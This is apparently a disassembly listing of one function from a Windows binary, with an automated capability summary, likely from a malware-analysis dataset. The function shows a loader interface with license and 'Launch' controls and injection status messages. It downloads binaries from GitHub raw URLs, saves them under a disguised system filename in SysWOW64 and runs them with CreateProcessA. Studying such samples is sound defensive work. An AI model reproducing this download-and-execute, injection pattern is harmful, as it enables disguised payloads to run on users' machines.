Function at 0x14003e000
Capabilities:
Create process on windows
Download url
Log keystrokes via polling
Receive data
Terminate process

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0xe8]
sub rsp, 0x1b0
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
mov rax, qword [0x1400a2040]
xor rax, rsp
mov qword [rbp + 0x48], rax
mov rax, qword [0x1400a27c0]
mov edi, r8d
shr edi, 0x10
xor r15d, r15d
mov r14, r9
mov ebx, r8d
mov rsi, rdx
test rax, rax
je 0x14003e05d
mov rax, qword [rax + 0x98]
jmp 0x14003e060
mov rax, r15
cmp qword [rax + 0x48], r15
jne 0x14003e06b
call fcn.140001e60
call fcn.140002f50
call fcn.14000cc10
mov r8, qword [0x1400a27c0]
mov rdx, r14
movsx eax, bx
mov rcx, rsi
or dword [r8 + 0x4a88], 3
movd xmm1, eax
movsx eax, di
cvtdq2ps xmm1, xmm1
mov qword [r8 + 0x4a98], r15
mov qword [r8 + 0x4aa0], r15
mov dword [r8 + 0x4a8c], 1
mov dword [r8 + 0x4a90], 1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [r8 + 0x4aa8], xmm1
movss dword [r8 + 0x4aac], xmm0
mov r8d, 0x2b
call fcn.1400120e0
mov ebx, dword [0x1400a20f0]
mov edi, 2
movss xmm6, dword [0x14009b6b4]
cmp ebx, 1
je 0x14003e2e7
cmp ebx, 3
je 0x14003e39c
cmp ebx, 5
je 0x14003e19f
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, [0x14009b248]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, dword [0x14009b64c]
addss xmm0, xmm6
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.1400345c0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140016320
test al, al
je 0x14003e199
xor ecx, ecx
call fcn.14000bb50
test al, al
je 0x14003e199
mov dword [0x1400a20f0], 5
jmp 0x14003e1a8
mov ebx, dword [0x1400a20f0]
cmp ebx, 4
je 0x14003e23b
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, [0x14009b24c]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, dword [0x14009b654]
addss xmm0, xmm6
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.1400345c0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140016320
test al, al
je 0x14003e235
xor ecx, ecx
call fcn.14000bb50
test al, al
je 0x14003e235
mov ebx, 4
mov dword [0x1400a20f0], ebx
jmp 0x14003e23b
mov ebx, dword [0x1400a20f0]
cmp ebx, 5
mov ecx, r15d
mov eax, r15d
sete cl
cmp ebx, 4
sete al
or ecx, eax
je 0x14003e2e7
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, [0x14009b250]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, dword [0x14009b634]
addss xmm0, dword [0x14009b62c]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.1400345c0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140016320
test al, al
je 0x14003e2e1
xor ecx, ecx
call fcn.14000bb50
test al, al
je 0x14003e2e1
mov dword [0x1400a20f0], edi
jmp 0x14003e2f0
mov ebx, dword [0x1400a20f0]
cmp ebx, 3
je 0x14003e39c
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, [0x14009b254]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, dword [0x14009b640]
addss xmm0, xmm6
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.1400345c0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140016320
test al, al
je 0x14003e396
xor ecx, ecx
call fcn.14000bb50
test al, al
je 0x14003e396
mov dword [rsp + 0x28], 1
lea r8, str.https:__blume.pw
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebx, dword [0x1400a20f0]
xorps xmm8, xmm8
cmp ebx, 1
jne 0x14003e5ea
mov rcx, qword [0x1400a27c0]
lea r8, [0x1400a28e0]
mov qword [rsp + 0x38], r15
mov r9d, pe_nt_image_headers64
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], r15d
mov rax, qword [rcx + 0x4070]
mov qword [rsp + 0x5c], r15
mov byte [rax + 0xcc], bl
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], bl
addss xmm1, dword [0x14009b648]
addss xmm0, dword [0x14009b66c]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
lea rax, [rsp + 0x5c]
or dword [rcx + 0x4a08], ebx
mov dword [rcx + 0x4a20], 0x437a0000
lea rcx, str.license
mov qword [rsp + 0x20], rax
call fcn.140039390
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], bl
mov rax, qword [rcx + 0x4070]
lea rcx, [0x14009b27c]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], bl
addss xmm1, dword [0x14009b6ac]
addss xmm0, dword [0x14009b670]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.1400345c0
mov rcx, qword [0x1400a27c0]
lea rdx, [rsp + 0x5c]
mov dword [rsp + 0x5c], 0x437a0000
mov dword [rsp + 0x60], 0x41f00000
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], bl
mov rax, qword [rcx + 0x4070]
lea rcx, [0x14009b280]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], bl
addss xmm1, dword [0x14009b648]
addss xmm0, dword [0x14009b67c]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.140034f30
test al, al
je 0x14003e53a
mov dword [0x1400a20f0], edi
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, str.Forgot_license_
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, dword [0x14009b668]
addss xmm0, dword [0x14009b688]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.1400345c0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140016320
test al, al
je 0x14003e5e4
xor ecx, ecx
call fcn.14000bb50
test al, al
je 0x14003e5e4
mov dword [rsp + 0x28], 1
lea r8, str.https:__discord.gg_nkj5ux5b
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebx, dword [0x1400a20f0]
movss xmm7, dword [0x14009b5c4]
mov qword [rsp + 0x1f0], r13
movaps xmmword [rsp + 0x170], xmm9
movaps xmmword [rsp + 0x160], xmm10
movaps xmmword [rsp + 0x150], xmm14
mov r12d, 4
cmp ebx, edi
jne 0x14003ee49
mov rax, qword gs:[0x58]
mov esi, r12d
mov rcx, qword [rax]
mov eax, dword [r12 + rcx]
cmp dword [0x1400a2a14], eax
jle 0x14003e67a
lea rcx, [0x1400a2a14]
call fcn.140040ba8
cmp dword [0x1400a2a14], 0xffffffff
jne 0x14003e67a
mov rax, qword [0x1400a27c0]
lea rcx, [0x1400a2a14]
movsd xmm0, qword [rax + 0x3fb0]
cvtpd2ps xmm0, xmm0
movss dword [0x1400a2a10], xmm0
call fcn.140040b3c
mov rbx, qword [0x1400a27c0]
lea rdx, [rbp + 0x20]
mov dword [rbp + 0x20], r15d
movsd xmm0, qword [rbx + 0x3fb0]
lea rcx, [rbx + 0x4b10]
cvtpd2ps xmm0, xmm0
movaps xmm9, xmm0
subss xmm9, dword [0x1400a2a10]
movss dword [0x1400a2a10], xmm0
movss xmm0, dword [rbx + 0x38f8]
movss dword [rbp + 0x24], xmm0
call fcn.140020e70
cmp byte [0x1400a29f4], r15b
lea r14, str.Internal
movss xmm14, dword [0x14009b624]
lea r13, str.External
movss xmm10, dword [0x14009b6a4]
mov dword [rbx + 0x38f8], 0x3f800000
jne 0x14003e82a
movss xmm0, dword [0x1400a20bc]
comiss xmm0, xmm7
jbe 0x14003e714
subss xmm0, xmm7
movaps xmm6, xmm7
subss xmm6, xmm0
jmp 0x14003e717
movaps xmm6, xmm0
mov rbx, qword [0x1400a27c0]
lea rdx, [rbp + 0x20]
mov dword [rbp + 0x20], r15d
movss xmm0, dword [rbx + 0x38f8]
lea rcx, [rbx + 0x4b10]
movss dword [rbp + 0x24], xmm0
call fcn.140020e70
mov rcx, qword [0x1400a27c0]
lea r9, [rbp - 0x70]
movss xmm2, dword [0x14009b5f4]
movss dword [rbx + 0x38f8], xmm6
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, str.spinner
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
mov byte [rax + 0x159], 1
addss xmm0, dword [0x14009b65c]
addss xmm1, dword [0x14009b680]
movss dword [rax + 0x11c], xmm0
movdqa xmm0, xmmword [0x14009b9c0]
movss dword [rax + 0x118], xmm1
movss xmm1, dword [0x14009b5d8]
movss dword [rsp + 0x28], xmm1
movss xmm1, dword [0x14009b650]
movups xmmword [rbp - 0x70], xmm0
movss xmm0, dword [0x14009b5f0]
movss dword [rsp + 0x20], xmm0
call fcn.14003d630
mov ecx, 1
call fcn.140008280
movss xmm0, dword [0x1400a20bc]
xorps xmm1, xmm1
subss xmm0, xmm9
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_fmaxf]
comiss xmm8, xmm0
movss dword [0x1400a20bc], xmm0
jb 0x14003eaea
mov byte [0x1400a29f4], 1
jmp 0x14003eaea
cmp byte [0x1400a29f7], r15b
jne 0x14003eaea
movaps xmm0, xmm9
movaps xmm1, xmm7
mulss xmm0, dword [0x14009b58c]
addss xmm0, dword [0x1400a29e8]
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_fminf]
mov rbx, qword [0x1400a27c0]
lea rdx, [rbp + 0x20]
movaps xmm6, xmm0
mov dword [rbp + 0x20], r15d
movss dword [0x1400a29e8], xmm6
movss xmm1, dword [rbx + 0x38f8]
lea rcx, [rbx + 0x4b10]
movss dword [rbp + 0x24], xmm1
call fcn.140020e70
mov rcx, qword [0x1400a27c0]
lea r8, [rsp + 0x5c]
movss dword [rbx + 0x38f8], xmm6
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x28], r15d
mov r9d, 0x32323232
movss dword [rsp + 0x20], xmm14
mov rax, qword [rcx + 0x4070]
mov dword [rsp + 0x5c], 0x437a0000
mov dword [rsp + 0x60], 0x43a00000
mov dword [rsp + 0x50], 0x41a00000
mov byte [rax + 0xcc], 1
mov rcx, qword [rcx + 0x4070]
mov dword [rsp + 0x54], 0x41a00000
mov rcx, qword [rcx + 0x2b0]
call fcn.14002ce30
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, dword [0x14009b634]
addss xmm0, dword [0x14009b63c]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.1400189e0
cmp dword [0x1400a2848], r15d
lea rcx, [0x140044180]
sete dl
call fcn.14003f850
test al, al
je 0x14003e97a
mov eax, r15d
mov dword [0x1400a2848], eax
jmp 0x14003e980
mov eax, dword [0x1400a2848]
cmp eax, 1
lea rcx, [0x140044184]
sete dl
call fcn.14003f850
test al, al
je 0x14003e9a0
mov dword [0x1400a2848], 1
call fcn.140018b20
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, xmm10
addss xmm0, dword [0x14009b6a8]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
or dword [rcx + 0x4a08], 1
cmp dword [0x1400a2848], r15d
mov dword [rcx + 0x4a20], 0x437a0000
mov qword [rbp + 0x38], r14
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x30], r14
jne 0x14003ea2d
lea r9, [rbp + 0x38]
mov eax, edi
jmp 0x14003ea36
lea r9, [rbp + 0x30]
mov eax, 1
lea rdx, [0x1400a29ec]
mov dword [rsp + 0x20], eax
call fcn.140036e00
mov rcx, qword [0x1400a27c0]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x437a0000
mov dword [rsp + 0x54], 0x41f00000
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, str.Launch
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, xmm10
addss xmm0, dword [0x14009b6b0]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.140034f30
test al, al
je 0x14003eacc
mov byte [0x1400a29f8], 1
mov ecx, 1
call fcn.140008280
movss xmm0, dword [0x1400a29e8]
comiss xmm0, xmm7
jb 0x14003eaea
mov byte [0x1400a29f7], 1
cmp byte [0x1400a29f8], r15b
je 0x14003ee43
mulss xmm9, dword [0x14009b58c]
xorps xmm1, xmm1
movss xmm0, dword [0x1400a29e8]
subss xmm0, xmm9
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_fmaxf]
mov rbx, qword [0x1400a27c0]
lea rdx, [rsp + 0x50]
movaps xmm6, xmm0
mov dword [rsp + 0x50], r15d
movss dword [0x1400a29e8], xmm6
movss xmm1, dword [rbx + 0x38f8]
lea rcx, [rbx + 0x4b10]
movss dword [rsp + 0x54], xmm1
call fcn.140020e70
mov rcx, qword [0x1400a27c0]
lea r8, [rsp + 0x50]
movss dword [rbx + 0x38f8], xmm6
lea rdx, [rsp + 0x5c]
mov dword [rsp + 0x28], r15d
mov r9d, 0x32323232
movss dword [rsp + 0x20], xmm14
mov rax, qword [rcx + 0x4070]
mov dword [rsp + 0x50], 0x437a0000
mov dword [rsp + 0x54], 0x43a00000
mov dword [rsp + 0x5c], 0x41a00000
mov byte [rax + 0xcc], 1
mov rcx, qword [rcx + 0x4070]
mov dword [rsp + 0x60], 0x41a00000
mov rcx, qword [rcx + 0x2b0]
call fcn.14002ce30
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, dword [0x14009b634]
addss xmm0, dword [0x14009b63c]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.1400189e0
cmp dword [0x1400a2848], r15d
lea rcx, [0x140044180]
sete dl
call fcn.14003f850
test al, al
je 0x14003ec3f
mov eax, r15d
mov dword [0x1400a2848], eax
jmp 0x14003ec45
mov eax, dword [0x1400a2848]
cmp eax, 1
lea rcx, [0x140044184]
sete dl
call fcn.14003f850
test al, al
je 0x14003ec65
mov dword [0x1400a2848], 1
call fcn.140018b20
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, xmm10
addss xmm0, dword [0x14009b6a8]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
or dword [rcx + 0x4a08], 1
cmp dword [0x1400a2848], r15d
mov dword [rcx + 0x4a20], 0x437a0000
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r13
mov qword [rbp + 0x20], r14
jne 0x14003ecf0
lea r9, [rbp - 0x70]
jmp 0x14003ecf9
lea r9, [rbp + 0x20]
mov edi, 1
lea rdx, [0x1400a29f0]
mov dword [rsp + 0x20], edi
call fcn.140036e00
mov rcx, qword [0x1400a27c0]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x437a0000
mov dword [rsp + 0x54], 0x41f00000
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, str.Launch
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, xmm10
addss xmm0, dword [0x14009b6b0]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.140034f30
test al, al
je 0x14003ee1d
cmp dword [0x1400a2848], r15d
jne 0x14003edc2
mov eax, dword [0x1400a29f0]
test eax, eax
jne 0x14003edae
mov r8d, 0x43
lea rdx, str.https:__github.com_can_of_tuna_attach_cleaner_raw_main_BlIntAlk.bin
jmp 0x14003edcf
cmp eax, 1
jne 0x14003edc2
mov r8d, 0x43
lea rdx, str.https:__github.com_can_of_tuna_attach_cleaner_raw_main_BlExtAlk.bin
jmp 0x14003edcf
mov r8d, 0x40
lea rdx, str.https:__github.com_can_of_tuna_attach_cleaner_raw_main_BlDec.bin
call fcn.14003f6a0
cmp qword [0x1400a20e8], 0xf
lea rdx, [0x1400a20d0]
lea r8, str.C:WindowsSysWOW64_setupwinsvc.exe
mov qword [rsp + 0x20], r15
cmova rdx, qword [0x1400a20d0]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, r15d
mov ebx, 3
test eax, eax
mov dword [0x1400a20f0], ebx
setne cl
mov dword [0x1400a284c], ecx
jmp 0x14003ee23
mov ebx, dword [0x1400a20f0]
mov ecx, 1
call fcn.140008280
comiss xmm8, dword [0x1400a29e8]
jb 0x14003ee49
mov dword [0x1400a20f0], 3
jmp 0x14003ee55
mov ebx, dword [0x1400a20f0]
cmp ebx, 3
jne 0x14003f5b4
mov esi, r12d
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rsi + rcx]
cmp dword [0x1400a2a08], eax
jle 0x14003eea8
lea rcx, [0x1400a2a08]
call fcn.140040ba8
cmp dword [0x1400a2a08], 0xffffffff
jne 0x14003eea8
mov rax, qword [0x1400a27c0]
lea rcx, [0x1400a2a08]
movsd xmm0, qword [rax + 0x3fb0]
cvtpd2ps xmm0, xmm0
movss dword [0x1400a2a0c], xmm0
call fcn.140040b3c
mov rbx, qword [0x1400a27c0]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], r15d
movsd xmm0, qword [rbx + 0x3fb0]
lea rcx, [rbx + 0x4b10]
cvtpd2ps xmm0, xmm0
movaps xmm6, xmm0
subss xmm6, dword [0x1400a2a0c]
movss dword [0x1400a2a0c], xmm0
movss xmm0, dword [rbx + 0x38f8]
movss dword [rsp + 0x54], xmm0
call fcn.140020e70
cmp byte [0x1400a29f6], r15b
mov dword [rbx + 0x38f8], 0x3f800000
jne 0x14003f169
movss xmm0, dword [0x1400a20c0]
movss xmm1, dword [0x14009b5e8]
comiss xmm0, xmm1
jbe 0x14003ef28
subss xmm0, xmm1
subss xmm7, xmm0
jmp 0x14003ef2b
movaps xmm7, xmm0
mov rbx, qword [0x1400a27c0]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], r15d
movss xmm0, dword [rbx + 0x38f8]
lea rcx, [rbx + 0x4b10]
movss dword [rsp + 0x54], xmm0
call fcn.140020e70
mov rcx, qword [0x1400a27c0]
lea r9, [rbp - 0x70]
movss xmm2, dword [0x14009b5f4]
movss xmm1, dword [0x14009b650]
movss dword [rbx + 0x38f8], xmm7
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, [0x14009afec]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
movss xmm3, dword [rax + 0x28]
subss xmm3, dword [rax + 0x98]
mov byte [rax + 0x159], 1
addss xmm0, dword [0x14009b65c]
addss xmm3, dword [0x14009b680]
movss dword [rax + 0x11c], xmm0
movdqa xmm0, xmmword [0x14009b9c0]
movups xmmword [rbp - 0x70], xmm0
movss xmm0, dword [0x14009b5d8]
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x14009b5f0]
movss dword [rsp + 0x20], xmm0
movss dword [rax + 0x118], xmm3
call fcn.14003d630
mov ecx, 1
call fcn.140008280
movss xmm0, dword [0x1400a20c0]
xorps xmm1, xmm1
subss xmm0, xmm6
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_fmaxf]
comiss xmm8, xmm0
movss dword [0x1400a20c0], xmm0
jb 0x14003f538
cmp dword [0x1400a284c], r15d
mov byte [0x1400a29f6], 1
jne 0x14003f538
xorps xmm0, xmm0
mov ecx, 0x30
movups xmmword [rsp + 0x68], xmm0
call fcn.140040fe4
cmp byte [0x1400a20c8], r15b
mov rcx, rax
movdqa xmm0, xmmword [0x14009b740]
movdqu xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x68], rax
movups xmm0, xmmword [str.C:WindowsSysWOW64_setupwinsvc.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14009b3f8]
movups xmmword [rax + 0x10], xmm1
mov eax, dword [0x14009b408]
mov dword [rcx + 0x20], eax
mov byte [rcx + 0x24], r15b
je 0x14003f121
xorps xmm0, xmm0
mov dword [rbp - 0x50], 0x68
xor eax, eax
xor r9d, r9d
mov dword [rbp + 0x14], eax
xor r8d, r8d
mov qword [rbp - 0x60], rax
xor edx, edx
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp - 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14003f121
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x1400a20c8], r15b
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14003f538
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f15f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f15f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140040d9c
jmp 0x14003f538
cmp byte [0x1400a29f5], r15b
jne 0x14003f34c
movss xmm0, dword [0x1400a20b4]
xorps xmm1, xmm1
subss xmm0, xmm6
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_fmaxf]
movss xmm1, dword [0x14009b608]
comiss xmm0, xmm1
movss dword [0x1400a20b4], xmm0
jbe 0x14003f1aa
subss xmm0, xmm1
subss xmm7, xmm0
jmp 0x14003f1ad
movaps xmm7, xmm0
mov rbx, qword [0x1400a27c0]
lea rdx, [rbp + 0x20]
mov dword [rbp + 0x20], r15d
movss xmm0, dword [rbx + 0x38f8]
lea rcx, [rbx + 0x4b10]
movss dword [rbp + 0x24], xmm0
call fcn.140020e70
cmp dword [0x1400a284c], r15d
mov rcx, qword [0x1400a27c0]
movss dword [rbx + 0x38f8], xmm7
movss dword [rbp + 0x2c], xmm7
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, [rbp + 0x20]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, dword [0x14009b6a0]
addss xmm0, dword [0x14009b678]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
jne 0x14003f2a7
lea rdx, [0x14009b410]
mov dword [rbp + 0x20], 0x3f20a0a1
mov dword [rbp + 0x24], 0x3f57d7d8
mov dword [rbp + 0x28], 0x3e8c8c8d
call fcn.140034630
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, str.Successfully_Injected_
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, dword [0x14009b688]
jmp 0x14003f2f7
lea rdx, [0x14009b430]
mov qword [rbp + 0x20], 0x3f800000
mov dword [rbp + 0x28], r15d
call fcn.140034630
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, str.Failed_to_inject_
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, dword [0x14009b694]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm0, dword [0x14009b684]
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm1
call fcn.1400345c0
mov ecx, 1
call fcn.140008280
comiss xmm8, dword [0x1400a20b4]
jb 0x14003f538
mov byte [0x1400a29f5], 1
jmp 0x14003f538
cmp dword [0x1400a284c], r15d
jne 0x14003f5a8
movss xmm0, dword [0x1400a20b8]
subss xmm0, xmm6
movss xmm6, dword [0x14009b55c]
movaps xmm1, xmm6
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_fmaxf]
movss xmm1, dword [0x14009b61c]
comiss xmm0, xmm1
movss dword [0x1400a20b8], xmm0
jbe 0x14003f395
subss xmm0, xmm1
subss xmm7, xmm0
jmp 0x14003f398
movaps xmm7, xmm0
mov rbx, qword [0x1400a27c0]
lea rdx, [rbp + 0x20]
mov dword [rbp + 0x20], r15d
movss xmm0, dword [rbx + 0x38f8]
lea rcx, [rbx + 0x4b10]
movss dword [rbp + 0x24], xmm0
call fcn.140020e70
mov rcx, qword [0x1400a27c0]
cvttss2si edx, dword [0x1400a20b8]
mov rax, qword [rcx + 0x4070]
movss dword [rbx + 0x38f8], xmm7
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, str.Hiding_in__d
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, dword [0x14009b698]
addss xmm0, dword [0x14009b67c]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.1400345c0
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, str.Press_Shift__F1_to_clean_up_your_PC.
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, dword [0x14009b678]
